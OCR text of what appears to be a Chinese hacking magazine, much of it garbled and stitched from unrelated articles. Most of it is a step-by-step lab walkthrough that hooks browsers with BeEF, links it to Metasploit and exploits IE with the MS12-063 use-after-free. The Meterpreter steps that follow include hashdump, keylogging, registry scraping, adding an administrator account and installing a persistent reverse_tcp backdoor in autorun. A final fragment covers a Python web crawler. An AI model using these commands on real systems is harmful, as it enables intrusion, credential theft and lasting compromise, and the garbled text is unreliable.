[ Most Visitedv [lOffensive Security ", Kali Linux W Kali Docs KBExploit-DB W Aircrack-ng

W PetF 044 5-aiha | Submt §

Current Browser

4 {5 Ordroe Browsars

£ 59172 16,284 129 Bamiis | Lop ommands | Moer | Yaats [
6 BE 323820010

= Caegory: Browser (5 herms)

_1Offine Browsers
Browser Hame riernet Explorer itk ahon
Browser Version 6 isakzation
Browser UA String Mozil's O (compaibie, MSE §.0, Windaws NT 5.1, SV1) iakzagion
Browser Platlorm Wil Itk ation
Window Size Wiah 611 Heghe 391 Il anen

5 Category: Browser Components (16 ems)

Hash Yes reskEion
Java: W Fiakzanen
VBSeript Yes eakzanon
FhoneGap te remiation
Googhe Gears. Mo Faakraton
Silverbight o kst
Web Sockets Mo ke anon
QuickTime i b aon
RealPlayer [i reakzaon
Windows Media Player Yes reakzmon
VLC No esakzation
Fouit Reader 1i resakzanon
WebRTC: Mo rtkation
MetiveX Yes takzation
Sevsian Cookies Yes ek aton

Persistent Coakies Yes ket

K 1-3-8

WA, FRATATUUE B H AR ENLRIR 25 R

5 #5157 2

P

SR

Browser UA String
Browser Platform

Windows size
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Vil =Ny

Flash

VBS A
Web Sock

Quick Time

Api 155
Cookie

RIER S H

Date /] HH]

1 17 E

Cpu

(32/64)

Vi >y
A2 XA AGE

And So On
AR 25058, anpd 1-3-9 A1 1-3-10:

¢

PR 2

& 112 16 2et 129

BafF Control Parwl

L BCTF]

ool

Weicome to The Butcher, your source of delicious
meats. Please feel free to view our samples, sign up
to our mailing-list or purchase our special
BeEF-hamper!

e Beaty Friend tder Tour Dell-Nwger

B 1-3-9

=

B Miost Visted™ [0 emave Secunty N Kot L N Kati Docy [ 0optost- DB Wy Abrorack-ng

& _jOrars Browwars

ARF P

@

22 Ji/3: 120 U EJ5fIE: http://t.qq.com/hackcto WAERHB: 48 15 H
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Beef ZhREMEHRZH/:, W&l 1-3-11:
Module Tree

) Browser (43)

_J Chrome Extensions (6)

) Debug (8)

_J Exploits (48)

__J Host (15)

JIPEC (6)

_J Metasploit (0)

_JMisc (7)

| Network (9)

__J Persistence (4)

_J Phonegap (15)

_J Social Engineering (10)
B 1311

D RE AR

Browser: JEHUN #8155

--Hooked Domain

----- Get Cookie FEIH 7 /'3 Cookie 1545 PfT—kitr L4 27 Cookie ;

----- Get From Value FEHXA HIHEHI R FIGE : BHRIBGHIRITFIGE TR B 5 5
----- Redirect Browser i #% 2 &[]

2

@ 127.0.0.1:3000/ui/pane v @] [C3v Google a &
Most Visitedv [ Offensive Security “§ Kali Linux “ Kali Docs KMExploit-DB Wy Aircrack-ng
& BeEF 0445alpha | Submit Bug | Logout

Hooked Browsers Getting Started %[ Logs Current Browser
-3 Online Browsers
469172.16.244.129 Detaits || Logs | Commands | Rider | XssRays | Ipec

=
7 B 17216 204130 Module Tree Module Results History Redirect Browser
{-J Offline Browsers St L (A id abel dat S
e Get Page HTML - id - el e Description. This module will redirect the selected hooked browser to the address specified in the
417216244129 : Redirect URL' nput

SR8 172162013 Replece/HRERS -
7 @ 172,16 204130 Replace HREF' (Cick Redirect URL: | hp.//bobao.36.cn
Replace HREFs (HTTP|

Replace HREF's (TEL)
Fingerprint Ajax
@ Create Alert Dialog
@ Create Prompt Dialog
 Redirect Browser
@ Redirect Browser (Rick|
@ Redirect Browser (iFran

@ Replace Component (D
@ Replace Content (Defa¢
© Replace Videos

@ Get Local Storage

@ Get Session Storage
@ Get Stored Credentials
@ 10S Address Bar Spoof
Detect Foxit Reader
Detect QuickTime

Detect RealPlayer

Detect Silverlight

uﬂ%u nHE |
il 1T I m‘ o A Ps - ; S « 3@ 260% bobao380.n
1-3-12
Pl 1-3-12, AT, H AR AU il AT A0 D9 3l 045 23 B 7 52 1) 1] bobao.360.cn, SE PRI
I B AE P9 R SE it ARP 28T H%WIWF}Tﬁ Http 13§ SR IR B E [ 2N T Hook % R JAIAS ) 7T
-

Execute

Chrome Extensions:

Debug: Jl/i Http 17K
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Exploits: 71 X 5 #5 I I 7 72K 7

Host: SR ZFEZ THLIFE

Mtasploit: 457 Metasploit 17725, & TMHER I HTHE 1o
Network: 17 Doser. ping. DNS 2. Zif 7777 24
Social Enhineering : #1- T Lk

0x05 5 Metasploit EX3l
Beef M & S 14

/usr/share/beef-xss/config.yaml

metasploit:

enable: false

U

metasploit:

enable: true

AT

vim /Jusr/share/beef-xss/config.yaml|

AR

# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.4.5-alpha’
debug: false
restrictions:
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the Ul
# permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.00"
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and
retrieving results.
# It's not advised to decrease it with tons of hooked browsers (more than 50),
# because it might impact performance. Also, enable WebSockets is generally better.
xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
# DNS

dns_host: "localhost"
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dns_port: 53
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple domains to access the RESTful APl using CORS
# For multiple domains use: "http.//browserhacker.com, http://domain2.com"
restful_api:

allow_cors: false

cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:

enable: false

secure: true # use WebSocketSecure work only on https domain and whit https support enabled in

BeEF
port: 61985 # WS: good success rate through proxies
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response
header)
web_server_imitation:
enable: true
type: "apache" #supported: apache, iis
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
key: "beef _key.pem"
cert: "beef_cert.pem"
database:

# For information on using other databases please read the

# README.databases file

# supported DBs: sqlite, mysql, postgres

# NOTE: you must change the Gemfile adding a gem require line like:
# gem "dm-postgres-adapter"

#or

# gem "dm-mysql-adapter”

# if you want to switch drivers from sqlite to postgres (or mysql).
# Finally, run a 'bundle install' command and start BeEF.

driver: "sqlite"

# db_file is only used for sqlite

db_file: "db/beef.db"

# db connection information is only used for mysql/postgres

025 BU/3 120 T EHIE: http://t.qq.com/hackcto HARHE: 44 15 H Ak Rtk
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db_host: "localhost"
db_port: 5432
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
db_encoding: "UTF-8"

# Credentials to authenticate in BeEF. Used by both the RESTful APl and the Admin_UI extension

credentials:
user:  "beef"
passwd: "beef"

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.

autorun:

enable: true

# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify

allow_user_notify: true
crypto_default_value_length: 80
# Enable client-side debugging
client:
debug: false
# You may override default extension configuration parameters here
extension:
requester:
enable: true
proxy:
enable: true
metasploit:
enable: true
social_engineering:
enable: true
evasion:
enable: false
console:
shell:
enable: false
ipec:

enable: true

AT

vim Jusr/share/beef-xss/extensions/metasploit/config.yam!

N

# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net

# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission

#

026 BU/3 120 T E0E: http://t.qq.com/hackcto
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# Enable MSF by changing extension:metasploit:enable to true
# Then set msf_callback_host to be the public IP of your MSF server
#
# Ensure you load the xmlrpc interface in Metasploit
# msf > load msgrpc ServerHost=10.211.55.2 Pass=abc123 ServerType=Web
# Please note that the ServerHost parameter must have the same value of host and callback_host variables here
below.
# Also always use the IP of your machine where MSF is listening.
beef:
extension:
metasploit:
name: 'Metasploit'
enable: true
host: "172.16.244.129"
port: 55552
user: "msf"
pass: "abc123"
uri: '/api’
ssl: false
ssl_version: 'SSLv3'
ssl_verify: true
callback_host: "172.16.244.129"
autopwn_url: "autopwn"
auto_msfrpcd: false
auto_msfrpcd_timeout: 120
msf_path: [
{os: 'osx', path: 'fopt/local/msf/'},
{os: 'livecd’, path: 'Jopt/metasploit-framework/'},
{os: 'bt5r3', path: 'Jopt/metasploit/msf3/'},
{os: 'bt5', path: '/opt/framework3/msf3/'},
{os: 'backbox', path: '/opt/metasploit3/msf3/'},
{os: 'win', path: 'c:\\metasploit-framework\\'},

{os: 'custom’, path: '/usr/share/metasploit-framework/'}

Jii:

{os: 'custom’, path: "}

&K

{os: 'custom', path: '/usr/share/metasploit-framework/'}

&4 host callback_host FHZ %, N beef FHL IP.
# Jii postgresq. metasploit 55 :

service postgresql restart & service metasploit restart

K 1-3-13:
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B root@SPRITEKING: ~

o R S T )|

msfconsole #/5 5/ Metasploit
load msgrpc ServerHost=172.16.244.129 Pass=abc123

A 1-3-14:

SRR BRI
HEBBBBBUBEBIRDRRRRBBRBEBPBPRPY
HEBBBBBBEBBRBRRBRBBB BB PRI RPRH

BRBBEHR BB RBRRRRRRRBIRBEBBBPRBR

S BI040

#  #aspaasn @
PrET S
#ER B2
BEBE BB
Haus s 4888
REBBEBBUBBBBBBRRRIIREY  SHBR
BEBRERBRBBBBRRRRERRE  RRRE
BERBRBBHBUBERRRIRE  RERY
RRERRRRRRY B
PRRRanee e
SRR S
RRERBBRBBIRY PP
HEBBBBEY PRPRRRPEe
BB BERBHREE
e s

RN BBpSsNERas

ETETRTN TR BT BT RTR BB RBT R eI

# # #ap B B #

S S
a4

=172. 16. 244. 129 Pas
244. 129: 55552

123

d p-:_ I_Jl;]a".l"li msgrpc Esoﬂiﬁﬁ { hﬂhaﬂﬂﬁﬂ.ﬂn :|

K 1-3-14
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)5 Beef,

. /# msfconsole

EXPLOIT
root@SPRITEKING: /usr/share/beef-xss

XHF) &HME) SEV) BT 2IR(T) HE

[15:

[15:

[15:

[15:

[15:10: 08 S connection with Meta

15:10: Metasploit loits.

75T 7

[15:

[15:

[15:

[15

[15: | H L K

[15:10: | UI URL: 1 //127.0. 0. 1: 3000/ ui/
running on ne rk interf 172.1
| /£172:16.244. 12

using
unch i

RESTful API ke
HTTP Proxy: ht

5
7210, 280.129 P BeEF server started (press col

H;
. 16. 244, 129: 55552
£

msgrpc

360%£H&iR ( bobao.360.cn )

B 1-3-15
W& 1-3-15, J53 5l beef iX R EZL N 246 4 metasploit ) EXP,MSF 58 3 31 5 h N 1%
T7SEA EXP.
N Beef 55 (AR T 245 ! ) Wi 1-3-16:

ece BeEF Control Panel The Butcher x

« C' | [} 172.16.244.129:3000/ui/panel

T #8it Google Chrome 35 R HHVHTZG?

¥ BeEF 0.4.4.5-alpha | Submit Bug | Lc

Hooked Browsers Getting Started Logs Current Browser
4 3 Online Browsers
4£9172.16.244.129 Details | Logs | Commands | Rider | XssRays | Ipec
7 K 172.16.244.1 Module Tree Module Results History
4.@DMMine Browsers ~Browser (43) ida | date Iabel
4&3172.16244.129 ~JChrome Extensions (6)
© 3 9 172.16.244.130 ~] Debug (8)
? #172.16.244.130 ) Exploits (48)
] Host (15)
JIPEC.(6
I 1 Metasploit (245)
“TISETTY
] Network (9)
) Persistence (4)
] Phonegap (15) 245

~J Social Engineering (10)

‘j‘ i m ‘E\"’\ ww@ -u@ 80 ; 3"@ ﬁ—’:&:ﬁ"ah ( bobao.380.c0 )

& 1-3-16

use exploit/windows/browser/ie_execcommand_uaf
show options
set srvhost 172.16.244.129

exploit/run

ZERBnE 1-3-17 fI1E 1-3-18:

2029 TU/3t 120 TU EAMOE: http://t.qq.com/hackcto MARHEM: &4 15 H 4 Rl




B2 e S R

‘B 77 M3k : www.hackcto.com

Zk %5 : HACKCTO-201504-28

XHF(F) WH(E)
L exp ;] / ’ mand_uaf
ploit(

ommand

This

72.16.244.129

//172.16. 244, 129: 8080/ 5McQhI

)

B 1317

8] Fuzz

RS 4 (@ 4
mpEx ax € B

must be

machine or 0.0.0.0

360%21&iR ( bobao.360.cn )

Kali Linux

File Edit View History Bookmarks Tools Help
BeEF Control Panel |
L 127.0.0.1

Most Visitedv  [fJOffensive Security \ Kali Linux "\ Kali Docs KBExploit-DB Wy Aircrack-ng

Hooked Browsers Current Browser

4= Oniine Browsers

Commands

4 Browser (43) ids date tabel

16 244.129

Module Tree

Module Results History

- S oked Domain (21 a ”
R ocked Do) 0 201503121542  command 1
- 1 244129 Get Cookie
20150312 1543 command 2
ERE 1721528413 Get Page HREFs
2 201! 15.43 command 3

Get Page HTML 3

Replace HREFs 3 121545  command 4

Replace HREFS

5.03-12 15:47

command 5

121548  command 6

. ophRialg
rect Browser

Redirect Browser (Rick

00 M <
K 1-3-18
SRR R AT B3 B R T I URL, Wifd 1-3-19:
I3 172.16.244. 129
2 UERE

Not Found

| RN Wy dsh

AREAES | WFLR AL ) AR RAERR)

The request

& 1-3-19

120 1T

BT http://t.qq.com/hackcto

38126 BMN 16:05

BeEF Control Panel ~ Iceweasel

¥ BeEF 04.45apha | Submit Bug | Logout

Redirect Browser

Description:  This modufe wil redirect the selected hooked browser to the address specified in the
Redirect URL' input
Irn-a rect URL: | http/172.16.244.129:8080/5McQhiBvuKUw ]
B0 ( bovag.380.en

= i M= /e e

)‘_

B $ S -0 =
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MSF I RT3 ((ESE SRR FIMLEE 1) XP HEIXANRIAAN T, AR 2E session 251) , 40
K| 1-3-20:

172,16, 244,129

(-] 172.16.244.130 dee
sessions

360£24%8 ( bobao.360¢n )

K 1-3-20

R XP EEH AT, BIAETEIX AN EXP &6 IR, X BL 2572 4 — A session 21, W& 1-3-21:

session -i 1

> sessions -1 1

reen A_|' ot

/usr/ share/ beef- xs ‘/“”*”-l‘J"-"“%Wﬁﬁ‘(bdbaé §6U€n‘

B 1321
screenshot A5 : ARHUEN N BERE R A H SO
sysinfo ﬁ%%ﬁﬂé B
hashdump dump H#¥rEHLFIH 7 Hash.
0x06 B % Meterpreter 4
B,

Meterpreter J5i51&E Bt &

(Hi5f - http://www.metasploit.cn/thread-640-1-1.html %24 (14 : http://pan.baidu.com/s/1sj5FRcD )

Metasploit T. . Meterpreter f]#y & H A%

(5 http://www.91ri.org/8476.html %24 (4 i : http://pan.baidu.com/s/1jGrHa3W )

(B5E) T ESm%E: Rexy

#4YF Meterpreter 7E PN MIBE F 1 F]

fE#: 360 244k
RH: 360 %4 iR
Mik:  http://bobao.360.cn
0x01 3HIT
BREXHEE T LR XERHG, (E—-RIAH2ES R -EH =)
FeAEFH T exploit/windows/browser/ie_execcommand_uaf IE 3 %28 (13X A EXP, {HiZ AT Z
Ja R E AR EVLESARBEE T, A AR
(B2 BRD SENLGRAT B 2097 I 1) URL, Qi 1-4-1:
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€ e s . y 8 & O -0 =
A UEARE AEEARA WELE  EAAY ) 2AE (RASER)

Not Found

The requested URL was not found on this server.

x) Sexver at 172.16. 244,129 Port 8080

B 141
MSF IO IERT 2] (H, SRS BRI XP X ANIRIAAN T, AT LA 2 2E session 2 1) U
K 1-4-2:

172.16. 244.129

0/20100101

360%24%#R ( bobao.360.cn )

1-4-2

FT Af?lﬂ% fwnckeytkaw#?, TR T AR R, iznl143

1le_ex ~rcum|mru.l,ua’ - Brm«sw not M'L'p'

>

)
)

mmand Use- After-Free Vulnerability

juan n u asploit. com>

able targets:

360%21ER ( bobao.360.cn )

K 143
msf F#i A\ exploit/windows/browser/ie_execcommand_uaf.
0x02 3| jr)
PAT info, BFEZ EXP HIME R, KILIXAS EXP JFRIEEXT XP SP3. Vista [ IE7. IE8 PL K Win7
1 1E8. 1E9.
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msf exploit(ie_execcommand_uaf) > info

Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability

Module: exploit/windows/browser/ie_execcommand_uaf

Platform: Windows

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Good
Provided by:
unknown
eromang
binjo

sinn3r <sinn3r@metasploit.com>

juan vazquez <juan.vazquez@metasploit.com>

Available targets:

Id  Name
Automatic
IE 7 on Windows XP SP3
IE 8 on Windows XP SP3
IE 7 on Windows Vista
IE 8 on Windows Vista

“lht A W N R O

IE 8 on Windows 7
6 IE9on Windows 7

Basic options:

Name Current Setting  Required
OBFUSCATE false no
SRVHOST 172.16.244.129  yes

machine or 0.0.0.0

SRVPORT 8080 yes
SSL false no
SSLCert no
SSLVersion SSL3 no
SSL3, TLS1)
URIPATH no
Payload information:
Description:

Description

Enable JavaScript obfuscation

The local host to listen on. This must be an address on the local

The local port to listen on.

Negotiate SSL for incoming connections

Path to a custom SSL certificate (default is randomly generated)

Specify the version of SSL that should be used (accepted: SSL2,

The URI to use for this exploit (default is random)

This module exploits a vulnerability found in Microsoft Internet

Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object

gets deleted in an unexpected manner, but the same memory is reused

again later in the CMshtmlEd::Exec() function, leading to a

use-after-free condition. Please note that this vulnerability has

been exploited in the wild since Sep 14 2012. Also note that

presently, this module has some target dependencies for the ROP

233 Ti/3tk 120 T
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chain to be valid. For WinXP SP3 with IE8, msvcrt must be present

(as it is by default). For Vista or Win7 with IE8, or Win7 with IE9,

JRE 1.6.x or below must be installed (which is often the case).
References:
http://cvedetails.com/cve/2012-4969/
http://www.osvdb.org/85532
http://www.microsoft.com/technet/security/bulletin/MS12-063.mspx
http://technet.microsoft.com/en-us/security/advisory/2757760
http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
http.//blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-Oday/

SRIGERBR L 22 N3 T XP SP3. 2234 1E7 (WL 2471 XP SP3 fi A2 1E6) WIF 1-4-4:

7 e e e S R R

/ IE7E %% Windows Intemet Explorer 7...

K 144
(¥, Hia. BREETHE-REPE, EILE—R)
0x03 EXP successful
&F, iR[A T successful! #1/&] 1-4-5:

® ® Good-Soon — root@SPRITEKING: ~ — ssh — bash — Basic — ttys001 — 110x44 — 882

O EEES. .

=8
2 The Butcher - Hi 36021 tgﬁﬁa@?@bma}

K 1-4-5

sessions :

sessions -i 1

2=t 1-4-5:
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SO
Good-Soon — root@SPRITEKING: /usr/share/beef-...
B

@ @

v || http://172.16.244. | ¥4 | K | |72.16.244.129:8080/bLASHFLYSULy

B REE BEQ KEXW IAQ #FHo

BeEF Control Panel

€ C [ 172.16.244.129:3000/ui/panel

lcome to The T 181t Google Chrome M 8 A1 B HBE?
its. Please ft .

ol Al AR MR, RAREHY
ur mailing-lig & i
er!
— Hooked Browsers
= Getting Started
Jur Meaty Friend | (] Online Browsers LB
45 0ffline Browsers Details | Logs | Commiel
4(7172.16.244.129 Module Tree
€8 917216244130

4 (= Browser (43)

9 #172.16.244.130 43 Hooked Domain
9 K 8172162441 Get Cookie
© 8 917216244135 Get Page HREH
68 ¥ 172.16.244.13% Get Page HTM
Replace HREF
Replace HREFY
Replace HREF
Replace HREF!
Fingerprint Ajax az 5 ( hobae.d60. o)
o afalAREMAR: Am ¢ sAemkn: RS

1-4-6
sysinfo ipconfig ps hashdump.
0x04 ¥ Fm4
i -

screenshot

28K 1-4-7 F1E 1-4-8:

360%24%# ( bobao.360<n )

B 1-4-7
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SAISERNE 1318

A AObKsLNF jpeg

vav:
e e ARl WY BEV) W
HEn |
.

T - ——

T [AObRSLNS peg)

. ':.',l.l& d

3 , (2 The Butcher - Windows Internet...
Ry

W 2 M

AR

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against SPRITEKI-674621

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to

/root/.msf4/loot/20150315141552 default_172.16.244.136_host.windows.key 879494.txt
[*] Recording keystrokes...

AC[*] Saving last few keystrokes...

[*] Interrupt

[*] Stopping keystroke sniffer...

gE JanE 1-4-9:

soft Windows XP [f4 5.1.26001
B 1985-2001 Microsoft Corp.

C:\Documents and Settings\dministrator>ping haidu.c|
Pinging haidu.com [123.125.114.1441 with 32 hytes of]|

Reply from 123.125.114.144: hytes=32 time=50ms TTL=1
Reply from 123.125.114.144: hytes=32 time=97ms TTL=1
Request timed out.

Reply from 123.125.114.144: hytes=32 time=32ms TTL=1|

Ping statistics for 123.125.114.144:
Packets: Sent = 4, Received = 3, Lost =1 (25
Approximate round trip times in milli-seconds:
Minimum = 32ms, Maximum = 97ms, Average = 59ms

TR EAY 0oL/ 2015031 SIALEE2, GeEmult 112 16 2A 136 BERE. . |

K 1-4-9
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H#4T cmd:

meterpreter>shell

AN

net user add name password /add

A 2 B

net localgroup administrator name /add

AR NI, TP 3389 ikt AL T,

360£&24E# ( bobao.360.cn )

B 1-4-10

Kill A%, W 1-4-11:

360£L245R ( bobao.360.cn )

B 1-4-11

meterpreter > run scraper

[*] New session on 172.16.244.136:1114...

[*] Gathering basic system information...

[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed:
Access is denied.

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\FQvPwGSl.reg)
[*] Cleaning HKCU

[*] Exporting HKLM

[*] Downloading HKLM (C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\HFQhdyFt.reg)
[*] Cleaning HKLM

[*] Exporting HKCC

[*] Downloading HKCC (C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\iNNrwzBu.reg)
[*] Cleaning HKCC

[*] Exporting HKCR

[*] Downloading HKCR (C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\QBVFVWVPreg)
[*] Cleaning HKCR

[*] Exporting HKU

[*] Downloading HKU (C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\Vwvxmugh.reg)
[*] Cleaning HKU

[*] Completed processing on 172.16.244.136:1114...

iR IA:
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360Z24&iR ( bobao.360.cn )

B 1-4-12

PR AL

meterpreter > run persistence -X -i 20 3376 -r 172.16.244.129

[*] Running Persistance Script

[*] Resource file for cleanup created at
/root/.msfd/logs/persistence/SPRITEKI-674621_20150315.5511/SPRITEKI-674621_20150315.5511.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=172.16.244.129 LPORT=4444

[*] Persistent agent script is 609466 bytes long

[+] Persistent Script written to C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\IBsbPnkcYJvv.vbs

[*] Executing script C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\IBsbPnkcYJvv.vbs

[+] Agent executed with PID 1112

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShFzEOxwbul
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShFzEOxwbul

gE BN 1-4-13:

360%2484 ( bobao.360cn )

K 1-4-13

use multi/handler

set payload windows/meterpreter/reverse_tcp
set LHOST

set LPOTR

exploit

7E meterpreter N{# ] Windows API Zifs, LA# Hello world & 74

meterpreter > irb
[*] Starting IRB shell
[*] The ‘client’ variable holds the meterpreter client

>> client.railgun.user32.MessageBoxA(0, "hello", "world","MB_OK")

B R 1-4-14:
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360z H7 ( bobao.360cn )

K 14-14
0x05 ¥ % Meterpreter FIf4
2%
Meterpreter J5i51E Mdiin &

(o3 : http://www.metasploit.cn/thread-640-1-1.htm| &2 (1 #14] - http://pan.baidu.com/s/1sj5FRcD )

Metasploit . E. Meterpreter fjfy & iHE &R

CHEHF: http://www.91ri.org/8476.html %524 (4] : http://pan.baidu.com/s/1jGrHa3W )

0x06 it

A BE Mickey 4EFTZK: %3k
T2 http://weibo.com/520613815
(£3C58) TiiT4iE: Rexy

F_E BEEA

BT REEAEN (—)

fE#: Manning

KH: SAHE - WooYun

MHE:  http://drops.wooyun.org/

0x00 BI &

PIL%EHL (Web crawler) , J&—F0 “ HAMLNIBERIZE " R, B B2 — M PLEE A .
EATRE 2 T B 2 5 R B AR AN st DA X e o sl 1) N S AR R

o BATATLLE 3R A H AR U7 17 B DU N 2, DAMERE PR — 2 Ab 2 . 7E WEB2.0
AR, BhAS I TURSAT R o IR 4 € HUh B 1% REAE DT P9 TE 21X 64 javascript A2 i) 42 .

RN AT LT R R NC H ) — R se NI, FRBF 4% BRI 5P 43 55 7 T A X 28 P 25 (1)
—LN NZLS (YfEiE S N Python)
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N [C1=202Y o

. DU R #EAS AT

« URL ZZHE 7%,

URL AHALMPA SR

R

A7

AN YRS 7 =

. BHEE

0x01 )& HZEHy

RBC R 8K, AFAFEM)FE Scrapy B ALK . Scrapy, #& Python JFRI—AMRE ., &
JEREIME HAESE,  H T HUE web 3t s DL P A& B E M A B o Scrapy &) 32, W]
CLH T 2ds 4288 . BRI 5 24k . Scrapy W51 N B 76T & —AMHESE, R N#fn]
DIARHE R 7 B k. gt 7 2R k3, 4 BaseSpider. sitemap € %%,
e 2-1-1:

O N O LA W N R
4 4 4 4

~ Scheduler
]
Scheduler ‘ \
Middlewares ‘ \
| \, Requests
ltem ' Scrapy e ,
. . | S { l r
' Pipeline < e Downloader
. Downloader
Requests N Middlewares

~

N\ Spider /
Items \ Middlewares / Responses
Spiders

B 2-11
B2 Scrapy FIAAHIE], R ZHERTIA, B/ MWILE URL FF4E, Scheduler 2244 A 45
Downloader #1T R %, NG 4 Spider FEAT T, 75 BARATE HI B N 2 47% 3 Item
Pipeline, FRZXTHE AT G AL . 4k, FEEE AN A8 TE Bk ] DL 3 & Flod a4,
AT LB AR o DRI AE FF R € PRI E i, o Bt S BRI G 45 PSS e o R KI5 A2 BRI K
B, TCATRIH, R, BRI
0x02 T T 5T
UM R & I R # NERS AP F305 o AR HFI AP EFES THT A, #E
TR T B RR, R U R — AR html, R DU B4 20 B TR U R
Je< a >HRZE M href J& PR mF 0T LLE ST js, form Z RIARESEHH IR —LL4E4% . 7E python
Ha] AR urllib2 AELEY requests BEESCHLIIfE . SIS € HUTE web2.0 IFA A R BRI IL
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T W28 F javascript ZbFE, W TTN B Ajax T2 FTbA, SRR FEES L
1 javascript AbEEFN ajax SREX N 2S5 UL THT . H HU 187 5 AR AR R 7 V22 00 25 T webkit [ROARER
B4, PYQT4. Splinter £ Selenium X = AMEERATAT LUA R H . S FICHIM S, W%
P ST EN, KHAEH A headless browser #& % R ), HtmlUnit A1 phantomjs

#R 2 7] LX) headless browser, 11/ 2-1-2:

__name__ ' _main__ ':
t = DataNode("http://www.sina.com.cn™)

fetcher(t)
"static:’
len(t.html)
crawler(t)
len(set(t.links))

“dynamic:"
fetcher(t, "dynamic™)

len(t.html)
crawler(t)

len(set(t.links})

K 2-1-2
A b3 B AR A2 7 [l B TR 9 32 3 o 3@k o bt e S T U TR R0 2 25 AT 0 T P K B A L s
PICH T 181 0 3 25 IO 0T ThT P AT () e e 4, & 2-1-3:

root@ubuntu: /home/superspider# python Crawler.py

static:

563838

166

dynamic:

695991

1422 .

K 213

FERR ST, T A BE 2 563838, UL N AU IO EERER A A 166 1. TIAEZN AL
U K REIE B T 695991, TEEREUA R 1 1422, A 7L 10 05T, IEEREER

LN

IEJY: re.compile("href=\"(["\"]*)\"")
Xpath: xpath('//*[@href]')

DU AR = DI AARATT A S AR DL Ty PR B 4 A U o 0 BBk, T T = @ 0 155
BRI, 10 html 2 — MR E 74785, 7E Python ' re. beautifulsoup. HTMLParser. Ixml
SRR DU el @ . 06E TR 2, F B a #5255 N href JBE, A HAh —LhR2E 1

src J@ k.

0x03 URL £ E

URL £ H € RIS T — TR IR, HTia47 a8 3 BIRH FEAE N 25 52 Hor, A th ke
R EE RIS LT H R CHEE, J€h— oAU T URL IE— BRSBTS 1Y

TUHERICEIHT URL, TEARATIRE N BA S 2 Hi, B S B0 e X 2L URL 3 i,
Ruicaiud 7, A HBNBS] T .

Hash &

FIH hash R EHEEAE— RS mB L BRI T, BN hash RE W BN [H 2 4R Z 0(1),

1M HAE hash 2% KIEI T, hash MR EIMEZEHARGIR /N, Flk URL & 75 3 5 1A ik
MTESLAES = . FIH hash £ FIX AN — AN R T B g o 7 1 o (H 2538 hash &
WA ERERE, EEENERELT, H—5KKE hash RRAZH . Python Ha] LUH
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7 X — s 454

URL JE4f

W hash K, MR SAEF IR str AT EAR URL, Z3EH S5 HWNAZR, e
XA URL HEAT R4 il — A int RIS &, A7 IR BB T 3 5L Ei4e /. BRI mT AR
H Python [¥] hashlib #EH K BEAT URL 46 . % : 4 hash KA A Eds 5 B NES,
LG N A7 R 46 5 1Y URL.

Bloom Filter

Bloom Filter /& I8 i/ I F R 45 L T A7 2 A A K158 - Bloom Filter J2ifiid —2H k /ME
XAE n AN key L [F) Hash Function, #f_E3& n AN key Bt 2] m A7 _E G 2548, & 2-1-4:

Bit Vector v
Element a T
Hifai=F, _ :::
L -I- “'*—u._h_h_ 2:’f
—_ /f‘-'ﬂ\ ]
Hoa)=P, — — m birs
e
_z’r hx'is. E
H 3{53 = P 3 —=—
H¥EF=P4"“==~=§_Pf
B 2-1-4

L ERIG R R T Bloom Filter FILH, fERT#MASRKEEN, FrA hash Bk &0 A —4N 7T
FIFE M hash [EHAR A 1 B, FEAIBHX AN JTCERAFTE. Python H hashlib, 7 ZFf hash B,
H MD5, shal, sha224, sha256, sha384, sha512. UG ibm] AHEATINERALTE, 1R 5
f#[¥). Bloom Filter = L RITE ML, BARANBEE LFHLERKSH L E. £ Python Ji
PRI FEH, AT RAE A jaybaird $24LF BloomFilter #2171, ¥ H & 1.

/NGH T

BN, TR hash RIGBHEE AR EZ. hash L (5 H 2K KEAMRA I 1
A, PRIE IR L E, NAIJER] DU e — e [n) j, T X B A T B ISR 1A A AR )
